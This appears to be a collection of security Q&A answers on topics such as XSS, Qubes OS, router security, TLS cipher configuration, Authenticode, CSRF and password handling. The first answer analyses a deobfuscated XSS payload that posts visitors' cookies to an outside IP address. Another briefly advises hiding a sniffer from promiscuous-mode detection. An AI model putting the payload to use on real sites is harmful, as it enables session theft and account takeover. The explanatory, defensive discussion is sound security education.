I found obfuscated code in a comment on my blog. What should I do?

First of all, your security guy is likely right. It doesn't look like you have anything to worry about because from your description of the issue and the guy's response I think that the script tags were properly encoded. Think of it as a neutralized weapon. It's there, yes, but it cannot do any damage.

Running that code through a deobfuscator gives us

$["post"]("114.45.217.33/vlk.php",{cookie:document["cookie"]},function(){},"html")

Now we just "beatify" the code to make it more readable

$["post"]("114.45.217.33/vlk.php", {
    cookie: document["cookie"]
}, function () {}, "html")

As you can see, the attacker was hoping that your site is vulnerable to XSS to exploit it and steal your visitor's cookies including yours. He's also assuming/hoping that you're using jQuery, and it's actually a very reasonable assumption these days. If they manage to steal your cookies, then they'll get the session identifier and potentially log in as one of your users or even your administrator account.

I'm not sure why he left the callback function there or the response type, though. Removing them would have made the payload even smaller.

Running that IP address through a blacklist checking tool shows us that the host there is likely to be compromised. This sure looks like a random attack by a bot trying to insert that code into random blogs and sites in the hopes that one of them would be vulnerable.


Is Qubes OS more secure than running a set of activity related VMs?

Joanna Rutkowska, leader of the Qubes project, does a great job into documenting the concepts on which Qubes is relying. I therefore strongly suggest you to get the information at the source, and in particular to read the two following documents:

Software compartmentalization vs. physical separation (Or why Qubes OS is more than just a random collection of VMs)
How is Qubes OS different from...

Qubes not only brings user experience improvement compared to running several VMWare instance, but it also brings a more fine-grained isolation.
To explain it roughly, the model you describe is like putting a set of smaller boxes (the VMs) inside a single big box (the host system). All VMs will go through the host system to access any device (network, USB, DVDs reader, etc.), and the host system both controls the VMs, the devices, user's interface and is directly facing Internet.
The idea behind Qubes is not to store the small boxes into an overpotent big box, but instead configure the small boxes in a kind of virtual local network so that, together, they look like a big box without being one and without using one.
The need to look like something users already know is important for user's adoption. But behind the scene all parts of the system is meant isolated from each other. Among the main differences are the fact that the user interface is not facing the network and has no Internet connection. The VM dedicated to facing the network is isolated from the rest of the VMs by another VM dedicated to firewalling. Qubes 3.0 brought a long awaited feature allowing to have a VM dedicated to USB devices.
To see this from and attacker point view:

If I want to hack your Windows based solution, all I have to do is to manage to exploit your Windows host (single point of failure). Once I get it, I get power on everything and this should be relatively easy since it is facing the network, allowing a wide range of possibilities from remote exploits to reverse shell trojans.

If I want to hack Qubes, I will have no choice but starting at a guest position since neither Xen nor the main Dom0 domain has any direct link with the outside world, and from there find a way to migrate from guest to guest or manage to exploit Xen core or reach the user's interface running in Dom0 (knowing that the guests have their X server replaced by a specially designed hardened display server to precisely avoid such possibility. All inter-VM communication in general has been carefully designed to reduce any exposure area to the minimum), and build the appropriate tunnels in order to still be able to communicate with your malicious software (going in is not sufficient, you also want data to be able to go out, which is trivial on a network facing system, but much more harder on isolated guest systems).

I just want to add that while Qubes OS is the most well-known and most documented as being, as far as know, the only open-source initiative implementing this concept, the concept itself is not something completely new and revolutionary. Polyxene for instance is a proprietary system taking exactly the same approach in order to secure defense-level desktop systems. I say this just to highlight the fact that discussing such technology goes beyond discussing open-source and proprietary OSs.


Determining if System or Network was scanned with a Network or Vulnerability Scanner

You can detect them with Intrusion Detection Systems if it's network being scanned.

If it's web server, you can look into access log and grep for errors.

Example IDS is Snort. It can run passively by reading forwarded packets from switch (switch port mirroring), or it can be in front of the network (act as a router).

For experimentation, Snort can be installed on the server itself although this one is not recommended


The wireless router is the gateway to your entire home network, from a wireless baby monitor, to the secure computers you do your banking on. Controlling this gateway gives an attacker access to the devices inside the network and to data that passes through it.

It's no surprise that home routers are a new frontier for the criminal underground and default passwords is one of the main vectors of attack. In 2011 and 2012 attackers exploited a vulnerability to change the DNS settings of more than 4.5 million DSL modems in Brazil. In March 2014 Team Cymru reported that over 300,000 home routers had been compromised and had their DNS settings changed in a global attack campaign. In September 2014, again there was a large scale attack on Brazilian routers.

Most of these attacks involved two vulnerabilities, a CSRF (Cross-Site Request Forgery) that is present in many brands of routers and default passwords. This means that visiting a malicious website will force your web browser to log into your home router and make configurations changes. This article describes a similar attack and its severe consequences.

It all started in 2007 when this attack was published. The main condition for the attack to be successful was that the attacker to guess the router password, because back then, even Cisco had 77 routers vulnerable to CSRF.

And the problem of default passwords is still real in 2014:

  Tripwire spoke to 653 IT and security professionals, and 1009 remote workers in the US and UK –
  with alarming results. Thirty percent of IT professionals and 46% of
  workers polled do not even change the default password on their
  wireless routers. Even more (55% and 85%, respectively) do not change
  the default IP address on their routers (making cross-site request
  forgery – CSRF – attacks much easier).
  (Source)

The dangers of having the internet facing admin panel with default passwords should obvious. But an open network with the admin panel open to the local network is vulnerable to local attacks. Wardriving with good antennas can cover large areas and spot many vulnerable routers.

Once it has access, an attacker can change DNS settings and intercept data for serving malware, ads or phishing. Or it can open up the internal network and attack some old unpatched Android phones, and maybe hope that one of those devices will travel and be an entry point to a different, higher value network.

Also, routers most likely store credentials for connecting to the ISP, which can be reused or abused by the attacker. I've heard of wireless routers that had one open network for guests and one password protected network. Connecting to the open network and accessing the admin panel with default credentials allowed access to the router configuration file that had the WPA key for the password protected network.

While some users are ignorant about security, there are router manufacturers that aren't ignorant about their users' security and provide unique admin passwords for each router. Most passwords are printed on the permanent sticker along the other details such as model and MAC address. This is not as secure as my recently purchased router, which had the password printed on a card and which required changing it on first use.

As Malavos mentioned in the comments, there are ISPs that lease routers with default password and even some that forbid changing those defaults passwords. I'm adding that some ISPs will change the default passwords and use it to configure the router remotely, but they will set the same password for all their clients' routers. This is problematic because that password can be recovered through hardware hacking so every router with that password can be compromised, even remotely.

Main rules for protecting wireless routers:

Update router firmware
Turn off unneeded services
Set strong admin passwords


How to correctly implement AES in a backup application

First and foremost; you should not be implementing your own crypto schemes. Yes, you're using AES, but AES is a cryptographic primitive. Try to find an existing, well tested and reviewed solution. You are probably not a trained cryptographer, and as such will likely make mistakes. In light of that disclaimer, here's what I can remember about AES:

If I remember correctly, you'll need to do some work to get the key to be either 128, 192 or 256b. Usually in the form of hashing, but I'd have to check this.
The IV should be cryptographically random.
Generate a unique IV for each new encryption, and store it somewhere.
Pass, the OS should be able to provide reasonable entropy -- Linux usually has /dev/random for this purpose.
AES does not provide any integrity checking by itself; as such, you'll have to implement your own integrity checking.


Recommended ssl_ciphers for security, compatibility - Perfect Forward secrecy

First, let's go over how cipher suite negotiation works, very briefly.  For example, we can use the TLS 1.2 document RFC 5246 starting at section 7.4.1.2 to see, in the short short form:

ClientHello: The client tells the server which cipher suites the client supports
Now the server picks one

I'll discuss how to control which one it picks next!

ServerHello: The server tells the client which cipher suite it has chosen, or gives the client a failure message.

Now, as to the actual selection.  I've used the nginx ssl module documentation, the Qualys 2013 article on Configuring Apache, Nginx, and OpenSSL for Forward Secrecy, and the Hynek Hardening Your Web Server’s SSL Ciphers article for reference.  The latter two cover both Apache and Nginx (as both use OpenSSL as a base).

Essentially, you need to tell Nginx to use the order you select, and you need to select an order.  To see what the results of that order would be, you can use the OpenSSL command line, e.g.

openssl ciphers -v 'EECDH+ECDSA+AESGCM:EECDH+aRSA+AESGCM:EECDH+ECDSA+SHA256:EECDH+aRSA+SHA256:EECDH+ECDSA+SHA384:EECDH+ECDSA+SHA256:EECDH+aRSA+SHA384:EDH+aRSA+AESGCM:EDH+aRSA+SHA256:EDH+aRSA:EECDH:!aNULL:!eNULL:!MEDIUM:!LOW:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!RC4:!SEED'

NOTE: You may want to remove :!3DES from that string; 3-key triple-DES isn't efficient, but it is still secure in and of itself to more or less 112 bits of security, and is very, very common.

Use the above command to determine which cipher suites will be most preferred and least preferred in your configuration, and change it until you like the results.  The references I've given have their own strings; I amended it slightly to get the above example (removing RC4 and SEED, and putting every TLS 1.2 cipher suite above any 'SSLv3' cipher suite, for example).

Then, for Nginx in particular, you would alter your configuration file to include something like:

ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_prefer_server_ciphers on;
ssl_ciphers "EECDH+ECDSA+AESGCM:EECDH+aRSA+AESGCM:EECDH+ECDSA+SHA256:EECDH+aRSA+SHA256:EECDH+ECDSA+SHA384:EECDH+ECDSA+SHA256:EECDH+aRSA+SHA384:EDH+aRSA+AESGCM:EDH+aRSA+SHA256:EDH+aRSA:EECDH:!aNULL:!eNULL:!MEDIUM:!LOW:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!RC4:!SEED";

Add in SSLv3 to ssl_protocols if you really insist on it.

The ssl_prefer_server_ciphers will inform nginx to use the order we specify, and ignore the order the client presents their cipher list in.  Now, if the only shared cipher suite between the ClientHello and the list OpenSSL ciphers -v ... gives is our least preferred cipher, that's of course what nginx will use.  If nothing matches, then we send the client a failure notice.

The ssl_ciphers command is the meat of the choice, here, as nginx will inform OpenSSL of our preferred cipher suite list.  Please, please use the openssl ciphers -v command to see the results you get on your platform.  Ideally, check it again after changing OpenSSL versions.

Also, please read Scott Helme's article on Setting up HSTS (HTTP Strict Transport Security) in nginx, which will allows a host to enforce the use of HTTPS on the client side.  Be sure to include the HSTS header inside the http block with the ssl listen statement.

Edited to add: At least after this (if not before also), go to Qualys SSL Labs to see HTTPS security information and to Test Your Server that's been kept pretty well up to date for the last few years.  Recommendations change regularly, and sometimes even frequently reverse themselves (RC4, for example, what nearly whiplash inducing).  You can also even Test Your Browser!


Put simply, blind XSS is a form of XSS where the adversary cannot access the endpoint where the payload is stored/executed. The important property of XSS that is relevant to your question is that the payload consists of client-side code.This means in order for the payload to execute, a client must render the DOM containing the malicious payload. This so called "client" could be an unsuspecting user or might go as far as being a headless browser triggering the code.

Based on personal experience as a bug bounty hunter, blind XSS most commonly occurs via submission forms where the payload is stored in a dashboard which an employee can then access. [1] That being said, there have been plenty of cases where the payload is injected via the User-Agent, Referer, etc. headers and then stored in a fancy HTML log somewhere on the company's infrastructure. At the end of the day, if the application is storing data unescaped somewhere, blind XSS becomes a plausible attack vector. Maybe placing an XSS payload in your cookie might trigger an error that is stored somewhere unescaped. ¯\_(ツ)_/¯

On a side note, if you are planning on hunting for blind XSS vulnerabilities in the context of a bug bounty program, for instance, I would highly recommend using XSSHunter and experimenting a bit. If someone triggers your payload, you will receive a pingback from XSSHunter notifying you where your payload ended up.


Authenticode will most likely help to bypass human check, as the victim has more chance to accept the execution of an application flagged as coming from a reputable source.
Anti-virus themselves, while they may take this into account, rely on multiple criterion to detect malware and authenticode will at most be only one criteria among the others.
What an anti-virus do is calculate a score based on these multiple criterion (executable file content, behavior, etc.). It is possible that a software gets a bonus point when it is certified, but if at the other side its behavior is considered malicious it will get flagged as malware anyway.
Microsoft gives a few high-level details on how they use Authenticode in their own security suite, Microsoft Security Essential (emphasis is mine):

When Microsoft Security Essentials first encounters a file, it performs a malware scan using all the technologies it needs to determine if the file is malicious. If the file is not malicious (which is hopefully the case), there's a background check that happens later, using idle cycles to see if the file's Authenticode signature or hash matches an internal list of trusted publishers and known clean files. If the file is on the list, it will be skipped in future scans, either on access or on demand.
Next, Microsoft Security Essentials uses its internal reputation lists to control what information on unknown files it sends back to Microsoft, or what files it may ask users to submit to Microsoft for further analysis. Under the hood is a sophisticated runtime behavior-monitoring system, which looks for software acting suspiciously, like modifying an autorun.inf file to AutoPlay. [...] Because of the need for speed and the fact that legitimate software will sometimes share behaviors with malware, that system will use the reputation lists to bypass files based on reputation.
Authenticode signing is key because it aggregates reputation for all your files, and applies your reputation to brand new files as well. [...] Authenticode signing doesn't explicitly say anything about the safety of the signed code, as we in the MMPC know well, but it's invaluable for determining reputation and separating legitimate code from known publishers from potentially dangerous code.

According to this post in their case they act in three step:

First check the file content and behavior using traditional AV means.
If nothing suspicious have been found, allow the file for now and schedule a check of the Authenticode for later.
If the Authenticode check reveals that the file has been signed by a trusted source (the post doesn't explain what is considered a "trusted" source and I guess Microsoft will not reveal the exact criterion to prevent abuse), Microsoft Security Essential completely stops checking this file and allow it on a systematic basis.

This related question has interesting answers regarding how anti-virus software work: How do antiviruses scan for thousands of malware signatures in a short time?, and this other question deals with the other side of the story: Techniques for Anti Virus evasion.


Name of authentication where TV shows you code to enter on website?

I guess Google is using Oauth2 to pair clients (for example a YouTube client in a SmartTV browser) and server data.

https://developers.google.com/identity/protocols/OAuth2ForDevices

In other platforms like HbbTV 2.0 the CPA (Cross Platform Authentication) has been proposed as login for limited input devices.

https://tech.ebu.ch/groups/CPA

Other proprietary systems like Gigya uses the same approach, so you can get some info also from their documentation


I've never used Azure, but that looks similar to AWS KMS that apparently also uses HashiCorp Vault. You can see some use cases here.

Take a look at this, I think it explain what you need.

  EC2 auth method Amazon EC2 instances have access to metadata which
  describes the instance. The Vault EC2 auth method leverages the
  components of this metadata to authenticate and distribute an initial
  Vault token to an EC2 instance. The data flow (which is also
  represented in the graphic below) is as follows:

  Vault AWS EC2 Authentication Flow

  An AWS EC2 instance fetches its AWS Instance Identity Document from
  the EC2 Metadata Service. In addition to data itself, AWS also
  provides the PKCS#7 signature of the data, and publishes the public
  keys (by region) which can be used to verify the signature.

  The AWS EC2 instance makes a request to Vault with the PKCS#7
  signature. The PKCS#7 signature contains the Instance Identity
  Document within itself.

  Vault verifies the signature on the PKCS#7 document, ensuring the
  information is certified accurate by AWS. This process validates both
  the validity and integrity of the document data. As an added security
  measure, Vault verifies that the instance is currently running using
  the public EC2 API endpoint.

  Provided all steps are successful, Vault returns the initial Vault
  token to the EC2 instance. This token is mapped to any configured
  policies based on the instance metadata.

  There are various modifications to this workflow that provide more or
  less security, as detailed later in this documentation.


Is a monolithic kernel more secure than a microkernel for a small OS?

In theory, a microkernel, by putting the bulk of the driver code into userspace, is more resilient against attacks: an attack against one driver can't easily be used to leverage access to the other drivers, or gain kernel-level privileges.  Additionally, the reduced size of the kernel gives it a much smaller attack surface.

In practice, kernel architecture is only a minor aspect of security.  The designer's attention to security and the quality of the implementation have a far greater impact.


Is KeePass a good defense against keyloggers?

The point of keepass is not to prevent keyloggers.  (Granted incidentally it will almost prevent hardware keyloggers; someone inserting a keylogging device between your keyboard and computer will not be able to observe a password you used once via cutting and pasting.  It doesn't really succeed in this task though, as an attacker could trivially record your login details as well as the passphrase used to unlock your keepass file and then access all of your passwords).

It's main benefits are:

Never reuse a password (every site has a unique password), so if a password at example.com is leaked your other passwords are not compromised.  Never accidentally enter the wrong password at the wrong site if you can't remember which one you used.
Easy to generate strong random passwords at each site; e.g., 20 random upper/lower/numbers/symbols for each site, without difficulty of copying, or difficult to remember to clear your history.
Easy to protect with one global strong passphrase and keep in a strong encrypted file that you can back up and sync among your computers.  (And it doesn't lock you into one web browser or OS).

The major downside is that you shouldn't have any applications that record your clipboard history while using keepass.


Defence against promiscuous detection techniques

There is a possibility that Promiscuous mode can be detected by another device on the network!
You can/must configure your sniffer tool/software so that it doesn't allows to detect if you are in promiscuous mode. For that you have to configure your sniffer tool so that your machine doesn't reply to the packets/requests that are usually used to detect the Promiscuous mode.
Here you can read how the promiscuous mode can be detected.
However the feature, that not to respond to the requests(Specially crafted packets to determine the promiscuous mode) depends if it is available in your sniffer tool.


Is Django's approach to password reset tokens secure?

As with any question of "is X secure" the answer will, to some extent, be "that depends on your exact requirements from a security standpoint, the threats you face, the type of application and the environment that you'll deploy in"

However with that caveat out of the way, I'd say that the scheme outlined above sounds relatively reasonable from a security perspective and is definitely better than a lot of password reset features I've seen in the past.

The bug report you linked descibes a very specific scenario (the attacker has read access to specific sections of the server-side code and configuration, but not other access) which wilst it does represent a risk, is a really marginal one (to me) as if they have that access there's likely other stuff they would attack before they start generating fake password reset links for users.

The comments from the HN thread are more general in nature and don't seem to descibe a specific threat to this scheme beyond Thomas' general disquiet with schemes that avoid the standard approach that he describes in his comment.  Whilst his points are reasonable, that's not to say that the Django scheme is broken, more that there are trade-offs involved.


The layout/format is usually determined by the con and specified in the CFP if not web based. As to the content of your CFP response i found this post to be very helpful when I started: https://www.defcon.org/html/links/dc-speakerscorner.html#nikita-cfp


Why do OpenSSL and Python return different SSL fingerprints?

According to the openssl command line below, my mail server's SSL certificate fingerprint is 393c7c58738fa6643cedd9943ffb6e951b2d3b576991d9671d86921ee79bb68a:
openssl s_client -connect onza.mythic-beasts.com:443 < /dev/null 2>/dev/null \

You are using port 443 for checking the fingerprint. Port 443 is your web server (https) and not the mail server as you claim. The mail server is instead on port 993 (imaps). If you replace the onza.mythic-beasts.com:443  with onza.mythic-beasts.com:993 you'll get the fingerprint you've expected, i.e. 63d1c9e28c51aebd0c26463563be30e4df6814fa5406bab1787d1b9bdd19f15e.


There are two possible answers.

Either: because vulnerability scanners are by their nature 'dumb', that is they are operating based on pre-configured logic, they will make a best guess at what could be wrong with something using the logic incorporated within the scanner's code and can make mistakes.

For example, if the scanner is checking for a particular string in a header (or whatever) it will flag a potential issue for any and all matching headers, which may include headers that do not have a vulnerability/weakness associated with them.

Scanners are generally pretty good at identifying 'obvious' weaknesses, but in order to be effective (i.e. not miss too much) they have to strike a balance between missing things and reporting false positives. I am not familiar with the IBM scanner...it may be possible to configure it to reduce the number of false positives (which may or may not increase the risk of missing vulnerabilities).

Or: The proxy being used to confirm the results of the scanner either:

Does not have the functionality available (unlikely in the case of BURP)
Has not been configured correctly to capture the data (entirely possible for new users)
The data from the proxy is not being interpreted correctly (depends on the complexity of the vulnerability and the knowledge of the user)


Implementating your own authentication protocol is not easy and should be left to professionals.  If you feel like you have to write your own security protocol,  you are doing it wrong.  A lot of other people have this same need,  and they have already implemented it for you.

SRP isn't a bad choice for authentication,  in fact there is SRP-TLS,  which uses SRP to create a TLS connection.   SRP-TLS has been implemented in OpenSSL and bindings for this library exist for C#.

Also keep in mind,  that the password itself isn't how the client maintains its authenticated state.  For example,  in a web application a user logs in with a username and password and they are given a cookie to authenticate with the web application.  If the attacker obtains this cookie,  then can login.  To prevent this,  the entire session (or in your case the entire game) must be protected with TLS,  or you will be in violation of OWASP a9 and anyone sniffing the wire can just wander into the game.


How do web hosts know you own your domain?

This question, and this exact scenario, actually came up on Serverfault a few months ago.  See https://serverfault.com/questions/744147/can-someone-using-the-same-dns-server-as-me-hijack-my-domains


Can key cipher and TLS cipher differ in OpenVPN?

Most of your question should be answered here:
OpenVPN -cipher vs -tls-cipher?

Still, because your question is slightly different focussed, let me provide you a simplified list of steps performed in an OpenVPN connection setup, and which keys are used where:

The client connects to the server.  If tls-auth or tls-crypt is used, this packet and all following control channel packets are authenticated or authenticated-and-encrypted with this key by both parties.
The client and server perform a TLS handshake over the control channel.  Both use the key, cert and ca keys for the TLS authentication.  The server uses the dh parameters if an DH(E) cipher suite is used.  TLS uses one of the cipher suites allowed by the tls-cipher option.
Over the TLS secure channel (which has it's own encryption) OpenVPN performs the OpenVPN key exchange.
The keys resulting from this OpenVPN key exchange are used to encrypt-and-authenticate data channel packets (the actual virtual network packets).  The data channel uses the encryption and authentication methods specified by the cipher and auth options, or a cipher negotiated over the control channel, which is one of the ciphers in the ncp-ciphers option (the latter is OpenVPN 2.4+ only).

This means that the keys in key, cert and ca are used only by TLS, and in the same way that TLS (or, the TLS library) does.  The TLS ciphersuite specifies the authentication type of the server.  So if you only allow RSA cipher suites, the server must have an RSA privkey/cert, but the client may still use a different certificate.


Unfortunately, WEP is still present in the world. There are legacy systems and devices in certain environments that can only do WEP, plus a number of networks that have no one interested and/or knowledgeable enough to update. Like many advances in technology, phasing out the older technology takes time. Look at IPv4 vs. IPv6 after 20ish years and tell me which is still predominant.

That being said, WEP is no longer viable in modern 802.11 networking. Not only is WEP not viable in modern 802.11 networking, neither is TKIP (was initially used as part of WPA certification). Since the release of the 802.11n amendment to the standard, the use of either requires that devices disable the use of HT or VHT data rates.

In other words, the use of WEP or TKIP causes a modern 802.11 network (i.e. 802.11n or newer) to function little better than an 802.11a/g network. While you do pick up some of the advantages of newer standards, the performance (which is the typical driving force for people to upgrade) is negated.

But all that aside, I have to point out that Wigle's stats are a bit "flawed" unless you actually understand what it is you are really viewing. Wigle is a large, user collected database of information. However, as far as I know, they do not age out old data for a number of reasons (for instance, just because someone hasn't recorded updated information on a network doesn't mean it isn't still present).

So what you have is a large number of networks present in their data that are not present in the real world. If you check many of the WEP entries, they will not have been updated in 5 or more years. Many of these are likely gone or replaced.

In the graph on the Wigle statistics page, they are simply showing the percentage of their database entries that are using the respective technologies. They are not showing the actual technologies deployed in the real world at present. The shown decline of WEP is largely due to new networks being added to the database that are not using WEP, rather than WEP networks being removed from the database. Pulling from the Wigle.net API, these stats may present a more accurate picture of the decline of WEP:

All Entries
-------------------
464,429,878 (Total)
 31,800,699 (WEP)
---WEP: 6.85%---

Updated since 2014
-------------------
343,970,477 (Total)
  8,550,789 (WEP)
---WEP: 2.49%---

Updated since 2016
-------------------
233,996,263 (Total)
  4,374,629 (WEP)
---WEP: 1.87%---

Updated since 2017
-------------------
158,548,717 (Total)
  2,707,548 (WEP)
---WEP: 1.71%---

As you can see, while WEP is still certainly present, the real world statistics of WEP being in the wild is much lower than the 6-7% number to which you were referring.


Prevent SQL injections on the old PHP website using software

You will not be able to do much without one of the two:

change code
export the entire site in HTML

SQL Injection usually cannot be prevented on old code unless you rewrite it. Yes, there are WAF (Web Application Firewall) around, and they can mitigate the majority of the attacks, but if something escapes the WAF, the site is fully exposed.

Migrating to a cloud provider changes nothing on the security. An insecure home-hosted website is insecure if hosted on Amazon, on Google, on a darkweb provider. If the provider have some security plug-in, you may be a little less insecure. But vulnerable anyway.

If the site is a CMS, you can create a local mirror of the site in HTML (ask around for HTML Spiders), and host this one. There will be some missing functionality (search comes to mind), but it will be online, and invulnerable to SQL Injection. Other downside is that every time you change anything on the CMS side, you must re-mirror and re-export the files.

But I would recommend to edit the code. If you grep -R mysql_query /path/of/the/cms you can have an idea of how much you will have to change, and I believe it would be faster to change the code than to keep exporting the site all the time.


Masking IP address and port number for Web application

As you mentioned, you can mask the IP address through DNS.  However, there's nothing you can do to mask the port: the decision to display it or not is entirely up to the user's web browser.

There are no security implications of exposing the address and port, though: it's trivial for a potential attacker to figure them out.


Why does it take longer for my computer to recognize a wrong password than a correct one when logging in?

This is not really much of a computer science question, more a user interface design and/or infosec question.

Are there significantly more computations taking place to check if a password is incorrect than incorrect?

Since there is no third possibility, checking if a password is incorrect and checking if a password is correct, are the same thing. If it is not correct, then it is incorrect, if it is not incorrect, then it is correct.

However, if I mistype it, there is around a 2 second pause.

The user interface design reason for this is to give you time to think about your password. Also, it accounts for the "cat walking across keyboard" case.
The infosec reason is to slow down brute force attacks. A legitimate user who accidentally mistypes their password will only lose 2 seconds re-typing it again. An attacker running a brute force attack who needs to try out trillions of passwords automatically, will be severely slowed down.
The legitimate user will be slowed down from being able to type their passwords about once per second to about once every 3 seconds. The attacker will be slowed down from being able to try thousands of passwords per second to once every 2 seconds.
Typically, the wait time is even made to increase with every wrong try, up to a maximum. Sometimes, there is also a maximum number of wrong tries after which additional measures need to be taken to gain back access to the account, although such a measure is slightly dangerous, since it can easily be abused for a denial of service attack if not designed carefully.


Are all Google app-passwords equal? What is their attack scope?

Google hasn't publicly disclosed the scope of app passwords, but there are a few things we can reasonably deduce about them.

One way is to review Google's help information about them. Note especially this caveat:

  On the "Signing in to Google" panel, choose App Passwords. If you don’t see this option:

  [...]

  You’ve turned on Advanced Protection for your account.

This confirms that App Passwords, by their very nature and by design, sidestep multi-factor authentication. To mitigate the risks of doing this, Google app passwords have two key benefits (for both the user, and for the Google ecosystem as a whole):

Google app passwords are hard to guess (unrelated to anything about the user) because they are randomly generated, and long. This makes it less likely for an attacker to guess a weaker set of credentials.
Google app passwords are unique per instance (but it is up to the user to ensure that a unique one is used for each separate device and/or application!). This minimizes the impact of exposing one app password (because if one use case is compromised, the other App Passwords don't need to be changed.)

Fastmail's post on MFA and App Passwords is a very good overview of the implications in more detail.

With MFA and Advanced Protection enabled, only some protocols and use cases (such as POP3/IMAP email clients) are allowed to use Google App passwords. I can't use a Google App password to log in interactively to the Gmail web interface, modify my Google Account, or otherwise perform activities that require account-wide privileges - but I can use email clients.

And from my testing, you can use any app password interchangeably with any other. There's no way to lock them down to specific applications yourself. The labels you can give them in the Google interface are cosmetic/advisory only.

This probably means that rogue use of an app password is limited to what can be exploited using any protocol that doesn't require MFA (e.g., reading or deleting all of your email).

But unless you're using Advanced Protection, that may mean just about everything.


How to be safe from browser-based key loggers?

Here you have some simple steps:

install AV and keep it updated
be careful of what you are installing on your system
keep away from social engineering tricks, like "check nude pics from your friend" - before that install this player, codec etc.
separate/isolate your browser, use another browser for important things, like banking etc.
enable 2FA protection for your accounts wherever is possible
sometimes virtual keyboards can be also useful


Nessus is a vulnerability scanner, it's job is to find what vulnerabilities may be present in a target system.  It does not actually perform the attack itself (except by accident if it were to accidentally DOS the target with an unsafe check).

Instead you should use to the results of the Nessus scan to use other tools, like Metasploit to perform the attack


My website got blacklisted as "phishing". Any hints on how to avoid that?

This is not an answer but rather an experience I have been through when our company blocked websites like yours. What normally happened was that the legit site was vulnerable to a vulnerability called Cross Site Scripting.

Basically what it does is use your site for phishing attacks such as stealing passwords and usernames and etc. This is just a possibility because there is not any information on this case and I believe that your site was pointed out  to be this way and someone has falled into the attack.

If this happened what would we do.

Trigger a command called whois and report to the email provided.
Wait for a time and investigate if it is really still there.
If not tell the sites provider (e.g. HostGator) and the providers initiated the takedown.

What should you do.... If this happened.

Crawl your website and see if there is any auckward page  that you did not make someone could have access to the sites password entered and put a page for phishing.very good technique because you site is a good domain.
Use a Security scanner like openvas and search for security vulnerabilities such as related above
If any of this happened switch the sites password and patch all vulnerabilities including if you use opensource.

Then again a suggestion.


Payment protocols have many variants. However, they mostly boil down to the three following:

The card number is just a reference, to be printed on paper. The owner signs with a pen on the paper. The paper may be printed with several technologies, some of them quite primitive (credit cards are embossed so that their number can be copied to paper efficiently with a purely mechanical device).
The card number is obtained by a payment terminal (e.g. with a swipe of the magnetic strip); the payment terminal then talks to the bank. The PIN code is used to authenticate the user (it is sent to the bank for validation).
The card is a smart card; the chip contains some secret value which is used to authenticate the transaction (with a MAC or a digital signature). The PIN is sent to the card and is used to convince the card that its true owner is indeed allowing the operation.

In any case, the point is not exactly to prevent fraud, but to reduce it to tolerable levels. The merchant does not really mind a fraudster running with the money, as long as he will be refunded by the bank. The bank sees the big picture and does not feel invested with the sacred mission of catching all thieves; the bank wants the total fraud cost to be as low as possible, and that's not the same thing.

Banks usually prefer it when the PIN code is used, because it lowers fraud level (by as much as a factor of ten, as I heard). However, this requires a PIN-aware terminal; with solution 2, a network connection must also be maintained with the bank; with solution 3, the card must have a chip (smart card deployment was long delayed in the Americas because banks waited for the 1986 French patent on smart cards to expire). Merchants are not usually cooperative for changes (they must pay for the new terminals) and card deployment is not fast (since each card is valid for several years), so the "first type" payment method (with a pen-based signature) is still possible in many shops. It should gradually disappear, though, because it allows for easier frauds, which makes banks uncomfortable.

Ultimately, this is a question of relative strength between banks (who want to enforce the systems which will ensure the least possible amount of total fraud) and merchants (who want to have the automatic refunding at the least cost for them). The card owner himself does not have much to say... however, legally speaking, the card owner is "protected" as long as he follows the official rules from his bank. As long as the bank does not forbid him to pay with a signature, the bank must refund the user if a fraud on his account occurred.

(Whether bank clerks will make the operation easy is another question.)


What prevents an identity provider from falsifying authorization in a SAML 2.0 flow?

The identity provider selection would be from a list of trusted identity providers with which the service provider application has already exchanged certificates or configured known metadata URL.

So yes, you could set up your own identity provider, but it would have to be a very badly-written service provider application that would redirect to you and trust your SAML assertions if you were not already in their configured list or otherwise known to them (e.g. a Federation setup).


I know SET is a standard

As Avid pointed out, the SET standard was abandoned in favor of the 3-D Secure scheme; so no, it isn't really a standard. If I recall correctly, the protocol never really gained wide-acceptance due to its complexity and cost versus simply using SSL.

  How could I know whether the eCommerce site I use uses SET?

The chances that your ecommerce store use SET are very low (<1%). However, there is a simple way you can check to see if the ecommerce store uses SET... if you need to install an "e-wallet" client-side application, then you can rest assured you are using SET. However, not having to install the client-app won't tell you much because SET can be implemented on the backend server, in which case the problem of having to use an e-wallet is offloaded to the server in a way that is transparent to the user.

In the end, there isn't a 100% accurate way to tell whether or not you are using SET, but I think it's a moot point given its lack of acceptance or use.


Why not write the CSRF Token into the Session

why you are not storing the CSRF token into a session variable of the logged in user and display it on a page in a hidden field

This is a proper and commonly used solution to prevent CSRF. Store a random token in the session and compare it on every post. This is described on the linked page, starting with:

  The synchronizer token pattern requires the generation of random "challenge" tokens that are associated with the user's current session.


Is security by obscurity / obfuscation a valid option, or do the crawlers have JavaScript enabled?

Yes some email harvesters will render the page and scrape the results therefore no matter how obfuscated your JavaScript is, if the JavaScript simply outputs a plain text email it's possible it will be harvested.

On the other hand your html example above likely would not get harvested because they probably don't have that format built into many scrapers.

Another option is to just put an image of your email on your site that is readable to humans but a scraper would never scrape since most harvests don't implement OCR.


Is any security gained from bank issued usernames in this authentication flow?

Is there any value gained in using this method of security?

A bit, but not much (which is why it is not common).

By issuing you a user ID instead of having you pick it, the bank has hardened the Online Banking enrollment flow against hackers interested in farming user IDs.  If you were able to pick it, you could try out various user IDs to see if they are already taken.

Now if they issued you your password, that would be a different matter (it would be really bad).

  Is there a particular feature of this method that could be changed/dropped to enhance security?

Eh, not really.  I suppose they could make the identifier alphanumeric to increase entropy, but perhaps they don't want to risk introducing offensive words randomly.  And you can get the same entropy increase by adding more digits.

  Should I be writing my bank an email?

No.  They probably thought about this quite a bit. If a hacker compromised your account, they are liable for the loss, not you, assuming they are a member of FDIC.

  I've tested with a few random numbers (and characters), they result in a password prompting page with one of the images and a generic caption

If their system is designed properly, those should be fakes.  A user ID should be hard to guess.  If they are sequential, there is definitely an issue.

  The picture captions share a similar format: they're always in lowercase and describe the image

The captions are just there for 508/ADA/WCAG compliance. Blind users can't see the images but they can have a screenreader read them the captions.

  There doesn't appear to be any form of Captcha on either the login or password page.

Most users hate CAPTCHA, and it's not really necessary if they implement a proper lockout mechanism with a timed automatic lockout release.


You can disable it:

To disable OCSP in Firefox:
